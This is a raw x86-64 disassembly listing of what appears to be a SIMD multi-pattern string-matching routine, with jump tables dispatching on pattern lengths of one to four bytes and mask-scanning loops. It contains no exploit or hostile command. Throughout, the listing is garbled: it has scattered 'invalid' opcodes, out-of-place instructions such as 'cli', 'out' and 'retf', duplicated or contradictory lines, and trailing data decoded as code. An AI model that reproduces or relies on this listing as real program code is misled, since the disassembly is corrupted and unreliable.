imul rdi, r10, 0x18
cli
sbb byte [rax - 0x75], cl
je 0x14003280b
adc byte [rcx + rdi - 0x32], cl
ja 0x1400327b5
mov r13, qword [rdx + rdi + 8]
cmp rsi, 4
jae 0x1400327f9
movsxd rdx, dword [r14 + rsi*4]
add rdx, r14
jmp rdx
lea rbp, [rsi - 4]
mov r12, r15
cld
lea rdi, [r15 + rsi]
add rdi, 0xfffffffffffffffc
add edi, 0xfffffffc
mov rdx, r13
cmp r12, rdi
jae 0x140032822
invalid
mov ebx, dword [r12]
cmp ebx, dword [rdx]
jne 0x1400327b5
add r12, 4
add rdx, 4
jmp 0x14003280b
invalid
mov edx, dword [rdi]
cmp edx, dword [r13 + rbp]
jne 0x1400327b5
jmp case.0x140032b7e.0
add byte [rcx + 0xf], al
mov bh, 0x17
movzx esi, byte [r15 + 2]
shl esi, 0x10
or esi, edx
movzx edx, word [r13]
push rbp
add byte [rcx + 0xf], al
mov dh, 0x7d
add al, cl
out 0x10, eax
push rbp
add byte [rcx + 0xf], al
mov dh, 0x7d
add al, cl
out 0x10, eax
or edi, edx
cmp esi, edi
jne 0x1400327b5
jmp 0x140032c1a
mov rax, qword [rsp + 8]
mov rcx, qword [rsp]
btr rax, rcx
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
jmp 0x14003277c
lea rax, [r9 - 0x1b]
mov qword [rsp], rax
vpextrq rax, xmm0, 1
lea rbx, [0x140239264]
test rax, rax
je 0x1400329ae
mov qword [rsp + 8], rax
bsf r14, rax
mov r8d, r14d
shr r8d, 3
add r8, qword [rsp]
mov eax, r14d
and eax, 7
imul rax, rax, 0x18
mov r15, qword [rdx + rax + 8]
jl 0x1400328cc
or byte [rax - 0x75], cl
add r10b, byte [rax]
lea rcx, [r15 + rax*4]
mov rax, r9
mov rdi, r8
sub rax, r8
cmp r15, rcx
je 0x140032996
add byte [rax], al
mov r10d, dword [r15]
add r15, 4
mov rdx, qword [r11 + 0x18]
imul r9, r10, 0x18
mov rsi, qword [rdx + r9 + 0x10]
cmp rsi, rax
ja 0x1400328dd
mov r9, qword [rdx + r9 + 8]
cmp rsi, 4
jae case.default.0x140032911
invalid
movsxd rdx, dword [rbx + rsi*4]
add rdx, rbx
jmp rdx
mov dl, byte [rdi]
cmp dl, byte [r9]
jne 0x1400328dd
jmp 0x140032aca
lea r13, [rsi - 4]
mov r12, rdi
cld
lea rbp, [rdi + rsi]
add rbp, 0xfffffffffffffffc
mov rdx, r9
invalid
cmp r12, rbp
jae 0x140032949
mov r8d, dword [r12]
cmp r8d, dword [rdx]
jne 0x1400328dd
add r12, 4
add rdx, 4
ret 0xeb04
invalid
mov edx, dword [rbp]
cmp edx, dword [r9 + r13]
jne 0x1400328dd
jmp case.0x140032a3a.0
movzx edx, word [rdi]
cmp dx, word [r9]
jne 0x1400328dd
invalid
jmp 0x140032ad8
movzx edx, word [rdi]
movzx r8d, byte [rdi + 2]
shl r8d, 0x10
or r8d, edx
movzx edx, word [r9]
movzx edx, word [rcx]
movzx edx, word [rcx]
movzx r9d, byte [r9 + 2]
shl r9d, 0x10
or r9d, edx
cmp r8d, r9d
cmp eax, ecx
jne 0x1400328dd
jmp 0x140032ad1
mov rax, qword [rsp + 8]
btr rax, r14
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
mov edx, dword [rsp + 0x10]
jmp 0x14003289f
lea rax, [r9 - 0x13]
mov qword [rsp], rax
vextracti128 xmm0, ymm0, 1
cmp eax, eax
add esp, eax
loope 0x1400329b8
jle 0x140032981
jge 0x1400329f3
cmp eax, eax
add esp, eax
rol byte [rcx], 0xc4
loope 0x1400329b8
jle 0x140032981
lea rbx, [0x140239274]
test rax, rax
test eax, eax
je 0x140032ae8
mov qword [rsp + 8], rax
bsf r14, rax
invalid
mov r8d, r14d
shr r8d, 3
add r8, qword [rsp]
mov eax, r14d
and eax, 7
imul rax, rax, 0x18
mov r15, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
invalid
or byte [rax - 0x75], cl
add r10b, byte [rax]
lea rcx, [r15 + rax*4]
mov rax, r9
mov rdi, r8
sub rax, r8
cmp r15, rcx
je 0x140032ab2
mov r10d, dword [r15]
add r15, 4
mov rdx, qword [r11 + 0x18]
push rbx
sbb byte [rbp + 0x6b], cl
retf 0x4a18
mov esi, dword [rdx + rcx + 0x10]
cmp rsi, rax
ja 0x140032a06
mov r9, qword [rdx + r9 + 8]
cmp rsi, 4
jae case.default.0x140032a3a
movsxd rdx, dword [rbx + rsi*4]
add rdx, rbx
jmp rdx
mov dl, byte [rdi]
cmp dl, byte [r9]
jne 0x140032a06
jmp 0x140032aca
lea r13, [rsi - 4]
mov r12, rdi
lea rbp, [rdi + rsi]
add rbp, 0xfffffffffffffffc
mov rdx, r9
mov edx, ecx
cmp r12, rbp
jae 0x140032a72
mov r8d, dword [r12]
cmp r8d, dword [rdx]
cmp eax, dword [rdx]
jne 0x140032a06
add r12, 4
add rdx, 4
jmp 0x140032a5a
mov edx, dword [rbp]
cmp edx, dword [r9 + r13]
adc al, 0x29
jne 0x140032a06
jmp case.0x140032a3a.0
movzx edx, word [rdi]
cmp dx, word [r9]
jne 0x140032a06
jmp 0x140032ad8
movzx edx, word [rdi]
movzx r8d, byte [rdi + 2]
movzx eax, byte [rdi + 2]
movzx eax, byte [rdi + 2]
shl r8d, 0x10
or r8d, edx
movzx edx, word [r9]
movzx edx, word [rcx]
movzx edx, word [rcx]
movzx r9d, byte [r9 + 2]
shl r9d, 0x10
or r9d, edx
cmp r8d, r9d
jne 0x140032a06
test dword [rsi - 1], edx
invalid
invalid
test dword [rsi - 1], edx
invalid
jmp 0x140032ad1
mov rax, qword [rsp + 8]
btr rax, r14
mov r9, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x10]
jmp 0x1400329c8
mov esi, 1
add byte [rax], al
jmp case.0x140032a3a.0
mov esi, 3
jmp case.0x140032a3a.0
mov esi, 2
mov rdx, rdi
add rsi, rdi
jmp 0x14003234c
lea rax, [r9 - 0xb]
cmc
mov qword [rsp + 0x30], rax
vpextrq qword [rsp + 8], xmm0, 1
xor r8d, r8d
lea r14, [0x140239284]
cmp qword [rsp + 8], 0
je 0x14003273b
bsf rax, qword [rsp + 8]
mov r9d, eax
shr r9d, 3
add r9, qword [rsp + 0x30]
mov qword [rsp], rax
and eax, 7
imul rax, rax, 0x18
mov rdx, qword [rsp + 0x10]
mov rcx, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea r13, [rcx + rax*4]
mov rax, qword [rsp + 0x18]
mov r15, r9
sub rax, r9
cmp rcx, r13
je 0x140032bf5
mov r10d, dword [rcx]
add rcx, 4
mov rdx, qword [r11 + 0x18]
imul r9, r10, 0x18
mov rsi, qword [rdx + r9 + 0x10]
cmp rsi, rax
ja 0x140032b4a
mov r9, qword [rdx + r9 + 8]
cmp rsi, 4
jae case.default.0x140032b7e
movsxd rdx, dword [r14 + rsi*4]
add rdx, r14
jmp rdx
mov dl, byte [r15]
cmp dl, byte [r9]
jne 0x140032b4a
jmp 0x140032c13
lea rbp, [rsi - 4]
mov r12, r15
lea rdi, [r15 + rsi]
add rdi, 0xfffffffffffffffc
mov rdx, r9
cmp r12, rdi
jae 0x140032bb6
mov ebx, dword [r12]
cmp ebx, dword [rdx]
jne 0x140032b4a
add r12, 4
add rdx, 4
jmp 0x140032b9f
mov edx, dword [rdi]
cmp edx, dword [r9 + rbp]
jne 0x140032b4a
jmp case.0x140032b7e.0
movzx edx, word [r15]
cmp dx, word [r9]
jne 0x140032b4a
jmp 0x140032c0c
movzx edx, word [r15]
movzx esi, byte [r15 + 2]
shl esi, 0x10
or esi, edx
movzx edx, word [r9]
movzx r9d, byte [r9 + 2]
shl r9d, 0x10
or r9d, edx
cmp esi, r9d
jne 0x140032b4a
jmp 0x140032c1a
mov rax, qword [rsp + 8]
mov rcx, qword [rsp]
btr rax, rcx
mov qword [rsp + 8], rax
jmp 0x140032b03
mov esi, 2
add byte [rax], al
jmp case.0x140032b7e.0
mov esi, 1
jmp case.0x140032b7e.0
mov esi, 3
mov rdx, r15
add rsi, r15
jmp 0x14003234c
jmp [rdi + rsi*4 - 0x482b0023]
add byte [rax], al
add byte [rax], al
add byte [rax], al
enter 0x26a1, 0x40
add dword [rax], eax
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rbp
push rsp
sub eax, 0x454c3631
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid